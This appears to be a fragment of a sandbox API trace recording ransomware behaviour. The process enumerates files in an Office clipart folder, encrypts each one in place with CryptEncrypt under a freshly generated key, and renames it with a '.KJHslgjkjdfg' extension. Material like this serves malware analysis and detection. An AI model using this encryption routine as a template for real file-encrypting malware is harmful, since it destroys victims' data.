Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.kjhslgjkjdfg")) returned 1 [0218.800] CloseHandle (hObject=0x130) returned 1 [0218.800] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0218.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.801] GetProcessHeap () returned 0x2ef0000 [0218.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.801] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.801] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0218.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.804] GetProcessHeap () returned 0x2ef0000 [0218.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.804] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.804] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.804] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.804] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.805] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.805] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6f26, lpOverlapped=0x0) returned 1 [0218.806] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f30, dwBufLen=0x6f30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f30) returned 1 [0218.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.807] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6f30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6f30, lpOverlapped=0x0) returned 1 [0218.807] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.807] SetEndOfFile (hFile=0x130) returned 1 [0218.810] GetProcessHeap () returned 0x2ef0000 [0218.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.810] GetProcessHeap () returned 0x2ef0000 [0218.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.kjhslgjkjdfg")) returned 1 [0218.812] CloseHandle (hObject=0x130) returned 1 [0218.812] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0218.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.815] GetProcessHeap () returned 0x2ef0000 [0218.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.815] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.818] GetProcessHeap () returned 0x2ef0000 [0218.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.819] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.819] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb9c4, lpOverlapped=0x0) returned 1 [0218.820] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9d0, dwBufLen=0xb9d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9d0) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.821] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb9d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb9d0, lpOverlapped=0x0) returned 1 [0218.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.821] SetEndOfFile (hFile=0x130) returned 1 [0218.825] GetProcessHeap () returned 0x2ef0000 [0218.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.825] GetProcessHeap () returned 0x2ef0000 [0218.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.kjhslgjkjdfg")) returned 1 [0218.827] CloseHandle (hObject=0x130) returned 1 [0218.827] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0218.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.828] GetProcessHeap () returned 0x2ef0000 [0218.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.828] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.828] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.834] GetProcessHeap () returned 0x2ef0000 [0218.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.835] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.835] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6928, lpOverlapped=0x0) returned 1 [0218.836] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6930, dwBufLen=0x6930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6930) returned 1 [0218.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.837] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6930, lpOverlapped=0x0) returned 1 [0218.837] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.837] SetEndOfFile (hFile=0x130) returned 1 [0218.842] GetProcessHeap () returned 0x2ef0000 [0218.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.842] GetProcessHeap () returned 0x2ef0000 [0218.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.kjhslgjkjdfg")) returned 1 [0218.844] CloseHandle (hObject=0x130) returned 1 [0218.844] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0218.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.846] GetProcessHeap () returned 0x2ef0000 [0218.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.847] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.847] GetProcessHeap () returned 0x2ef0000 [0218.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.847] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.847] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.850] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.850] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.850] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.850] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7400, lpOverlapped=0x0) returned 1 [0218.852] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7400, dwBufLen=0x7400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7400) returned 1 [0218.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.852] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7400, lpOverlapped=0x0) returned 1 [0218.852] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x74d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.853] SetEndOfFile (hFile=0x130) returned 1 [0218.856] GetProcessHeap () returned 0x2ef0000 [0218.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.856] GetProcessHeap () returned 0x2ef0000 [0218.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.kjhslgjkjdfg")) returned 1 [0218.858] CloseHandle (hObject=0x130) returned 1 [0218.858] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0218.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.859] GetProcessHeap () returned 0x2ef0000 [0218.859] RtlAllocateHeap 